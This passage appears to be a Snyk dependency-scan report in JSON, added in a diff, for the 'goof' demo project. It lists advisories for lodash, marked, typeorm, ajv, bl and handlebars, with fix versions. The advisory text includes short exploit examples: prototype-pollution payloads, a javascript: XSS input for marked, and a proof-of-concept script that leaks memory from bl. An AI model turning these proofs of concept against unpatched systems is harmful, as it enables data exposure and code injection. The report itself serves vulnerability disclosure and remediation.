The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "babel-traverse@6.26.0", + "babel-types@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "babel-traverse@6.26.0", + "babel-types@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", + "alternativeIds": [ + "SNYK-JS-MARKED-10099" + ], + "creationTime": "2016-04-20T14:45:19.556000Z", + "credit": [ + "Matt Austin" + ], + "cvssScore": 8.8, + "description": "## Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). An attacker could bypass its output sanitization (`sanitize: true`) protection. Using the [HTML Coded Character Set](https://www.w3.org/MarkUp/html-spec/html-spec_13.html#SEC13), attackers can inject `javascript:` code snippets into the output. For example, the following input `javascript֍ocument;alert(1)` will result in `alert(1)` being executed when the user clicks on the link.\n## Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n### Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n### Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n### How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n## Remediation\nUpgrade `marked` to version 0.3.6 or higher.\n## References\n- [GitHub Commit](https://github.com/chjj/marked/pull/592/commits/2cff85979be8e7a026a9aca35542c470cf5da523)\n- [GitHub PR](https://github.com/chjj/marked/pull/592)\n", + "disclosureTime": "2015-05-20T16:45:00Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/marked.js", + "className": null, + "functionName": "unescape" + }, + "version": [ + ">=0.3.1 <0.3.6" + ] + } + ], + "fixedIn": [ + "0.3.6" + ], + "id": "npm:marked:20150520", + "identifiers": { + "CWE": [ + "CWE-79" + ], + "NSP": [ + "101" + ], + "CVE": [ + "CVE-2016-10531" + ], + "ALTERNATIVE": [ + "SNYK-JS-MARKED-10099" + ], + "GHSA": [ + "GHSA-vfvf-mqq8-rwqc" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-22T17:02:08.598700Z", + "moduleName": "marked", + "packageManager": "npm", + "packageName": "marked", + "patches": [ + { + "comments": [], + "id": "patch:npm:marked:20150520:0", + "modificationTime": "2019-12-03T11:40:45.823269Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/marked/20150520/marked_20150520_0_0_2cff85979be8e7a026a9aca35542c470cf5da523.patch" + ], + "version": "<=0.3.5 >0.3.3" + }, + { + "comments": [ + "includes 20140131-1" + ], + "id": "patch:npm:marked:20150520:1", + "modificationTime": "2019-12-03T11:40:45.824324Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/marked/20150520/marked_20150520_0_1_2cff85979be8e7a026a9aca35542c470cf5da523_20140131-1.patch" + ], + "version": "=0.3.3" + }, + { + "comments": [ + "includes 20140131-1, 20140131-2" + ], + "id": "patch:npm:marked:20150520:2", + "modificationTime": "2019-12-03T11:40:45.825356Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/marked/20150520/marked_20150520_0_2_2cff85979be8e7a026a9aca35542c470cf5da523_20140131-1-2.patch" + ], + "version": "<=0.3.2 >0.3.0" + } + ], + "proprietary": false, + "publicationTime": "2016-04-20T14:45:19Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chjj/marked/pull/592/commits/2cff85979be8e7a026a9aca35542c470cf5da523" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chjj/marked/pull/592" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Cross-site Scripting (XSS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/marked.js", + "functionName": "unescape" + }, + "version": [ + ">=0.3.1 <0.3.6" + ] + } + ], + "semver": { + "vulnerable": [ + ">=0.3.1 <0.3.6" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "marked@0.3.5" + ], + "upgradePath": [ + false, + "marked@0.3.6" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "marked", + "version": "0.3.5" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H/E:F", + "alternativeIds": [], + "creationTime": "2020-07-26T08:33:50.048033Z", + "credit": [ + "phra" + ], + "cvssScore": 8.3, + "description": "## Overview\n[typeorm](https://www.npmjs.com/package/typeorm) is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8).\n\nAffected versions of this package are vulnerable to Prototype Pollution. It allows an attacker that is able to save a specially crafted object to pollute the `Object` prototype and cause side effects on the library/application logic, such as Denial of Service attacks and/or SQL injections.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `typeorm` to version 0.2.25 or higher.\n## References\n- [GitHub PR](https://github.com/typeorm/typeorm/pull/6096)\n- [HackerOne Report](https://hackerone.com/reports/869574)\n", + "disclosureTime": "2020-07-24T17:20:06Z", + "exploit": "Functional", + "functions": [], + "fixedIn": [ + "0.2.25" + ], + "id": "SNYK-JS-TYPEORM-590152", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-pf2j-9qmp-jqr2" + ], + "CVE": [ + "CVE-2020-8158" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-07-06T14:08:19.915957Z", + "moduleName": "typeorm", + "packageManager": "npm", + "packageName": "typeorm", + "patches": [], + "proprietary": false, + "publicationTime": "2020-07-26T13:45:01Z", + "references": [ + { + "title": "GitHub PR", + "url": "https://github.com/typeorm/typeorm/pull/6096" + }, + { + "title": "HackerOne Report", + "url": "https://hackerone.com/reports/869574" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<0.2.25" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24" + ], + "upgradePath": [ + false, + "typeorm@0.2.25" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "typeorm", + "version": "0.2.24" + } + ], + "ok": false, + "dependencyCount": 565, + "org": "tahoma-engineers", + "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.22.1\nignore: {}\npatch: {}\n", + "isPrivate": true, + "licensesPolicy": { + "severities": {}, + "orgLicenseRules": { + "AGPL-1.0": { + "licenseType": "AGPL-1.0", + "severity": "high", + "instructions": "" + }, + "AGPL-3.0": { + "licenseType": "AGPL-3.0", + "severity": "high", + "instructions": "" + }, + "Artistic-1.0": { + "licenseType": "Artistic-1.0", + "severity": "medium", + "instructions": "" + }, + "Artistic-2.0": { + "licenseType": "Artistic-2.0", + "severity": "medium", + "instructions": "" + }, + "CDDL-1.0": { + "licenseType": "CDDL-1.0", + "severity": "medium", + "instructions": "" + }, + "CPOL-1.02": { + "licenseType": "CPOL-1.02", + "severity": "high", + "instructions": "" + }, + "EPL-1.0": { + "licenseType": "EPL-1.0", + "severity": "medium", + "instructions": "" + }, + "GPL-2.0": { + "licenseType": "GPL-2.0", + "severity": "high", + "instructions": "" + }, + "GPL-3.0": { + "licenseType": "GPL-3.0", + "severity": "high", + "instructions": "" + }, + "LGPL-2.0": { + "licenseType": "LGPL-2.0", + "severity": "medium", + "instructions": "" + }, + "LGPL-2.1": { + "licenseType": "LGPL-2.1", + "severity": "medium", + "instructions": "" + }, + "LGPL-3.0": { + "licenseType": "LGPL-3.0", + "severity": "medium", + "instructions": "" + }, + "MPL-1.1": { + "licenseType": "MPL-1.1", + "severity": "medium", + "instructions": "" + }, + "MPL-2.0": { + "licenseType": "MPL-2.0", + "severity": "medium", + "instructions": "" + }, + "MS-RL": { + "licenseType": "MS-RL", + "severity": "medium", + "instructions": "" + }, + "SimPL-2.0": { + "licenseType": "SimPL-2.0", + "severity": "high", + "instructions": "" + } + } + }, + "packageManager": "npm", + "projectId": "e76ce90b-cf2d-4be0-b627-eded9da9d09c", + "ignoreSettings": null, + "summary": "380 vulnerable dependency paths", + "remediation": { + "unresolved": [ + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2020-07-16T08:19:48.462528Z", + "credit": [ + "Unknown" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ajv](https://www.npmjs.com/package/ajv) is an Another JSON Schema Validator\n\nAffected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `ajv` to version 6.12.3 or higher.\n## References\n- [HackerOne Report](https://hackerone.com/bugs?subject=user&report_id=894259)\n", + "disclosureTime": "2020-07-16T08:14:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "6.12.3" + ], + "id": "SNYK-JS-AJV-584908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2020-15366" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-07-20T12:40:09.463832Z", + "moduleName": "ajv", + "packageManager": "npm", + "packageName": "ajv", + "patches": [], + "proprietary": false, + "publicationTime": "2020-07-16T13:58:04Z", + "references": [ + { + "title": "HackerOne Report", + "url": "https://hackerone.com/bugs?subject=user&report_id=894259" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<6.12.3" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "har-validator@5.1.3", + "ajv@6.10.2" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "har-validator@5.1.3", + "ajv@6.12.3" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "ajv", + "version": "6.10.2", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L/E:P", + "alternativeIds": [], + "creationTime": "2020-08-28T12:18:44.906258Z", + "credit": [ + "chalker" + ], + "cvssScore": 7.7, + "description": "## Overview\n[bl](https://github.com/rvagg/bl) is a library that allows you to collect buffers and access with a standard readable buffer interface.\n\nAffected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in `consume()` argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular `.slice()` calls.\r\n\r\n### PoC by chalker\r\n```\r\nconst { BufferList } = require('bl')\r\nconst secret = require('crypto').randomBytes(256)\r\nfor (let i = 0; i < 1e6; i++) {\r\n const clone = Buffer.from(secret)\r\n const bl = new BufferList()\r\n bl.append(Buffer.from('a'))\r\n bl.consume(-1024)\r\n const buf = bl.slice(1)\r\n if (buf.indexOf(clone) !== -1) {\r\n console.error(`Match (at ${i})`, buf)\r\n }\r\n}\r\n```\n## Remediation\nUpgrade `bl` to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.\n## References\n- [Github Commit](https://github.com/rvagg/bl/commit/8a8c13c880e2bef519133ea43e0e9b78b5d0c91e)\n- [Github Commit](https://github.com/rvagg/bl/commit/d3e240e3b8ba4048d3c76ef5fb9dd1f8872d3190)\n- [Github Commit](https://github.com/rvagg/bl/commit/dacc4ac7d5fcd6201bcf26fbd886951be9537466)\n- [GitHub Commit](https://github.com/rvagg/bl/commit/0bd87ec97be399b129fc62feff2943ffa21bcc00)\n- [HackerOne Report](https://hackerone.com/reports/966347)\n", + "disclosureTime": "2020-08-27T15:16:42Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "2.2.1", + "3.0.1", + "4.0.3", + "1.2.3" + ], + "id": "SNYK-JS-BL-608877", + "identifiers": { + "CWE": [ + "CWE-9" + ], + "NSP": [ + "1555" + ], + "CVE": [ + "CVE-2020-8244" + ], + "GHSA": [ + "GHSA-pp7h-53gx-mx7r" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-08-08T13:56:54.899052Z", + "moduleName": "bl", + "packageManager": "npm", + "packageName": "bl", + "patches": [], + "proprietary": false, + "publicationTime": "2020-08-28T12:18:48Z", + "references": [ + { + "title": "Github Commit", + "url": "https://github.com/rvagg/bl/commit/8a8c13c880e2bef519133ea43e0e9b78b5d0c91e" + }, + { + "title": "Github Commit", + "url": "https://github.com/rvagg/bl/commit/d3e240e3b8ba4048d3c76ef5fb9dd1f8872d3190" + }, + { + "title": "Github Commit", + "url": "https://github.com/rvagg/bl/commit/dacc4ac7d5fcd6201bcf26fbd886951be9537466" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/rvagg/bl/commit/0bd87ec97be399b129fc62feff2943ffa21bcc00" + }, + { + "title": "HackerOne Report", + "url": "https://hackerone.com/reports/966347" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Memory Exposure", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=2.2.0 <2.2.1", + ">=3.0.0 <3.0.1", + ">=4.0.0 <4.0.3", + "<1.2.3" + ] + }, + "from": [ + "goof@1.0.1", + "mongodb@3.5.9", + "bl@2.2.0" + ], + "upgradePath": [ + false, + "mongodb@3.5.9", + "bl@2.2.1" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "bl", + "version": "2.2.0", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-02-14T16:46:18.024227Z", + "credit": [ + "Mahmoud Gamal", + "Matias Lang" + ], + "cvssScore": 7.3, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `handlebars` to version 4.0.14, 4.1.2 or higher.\n## References\n- [GitHub 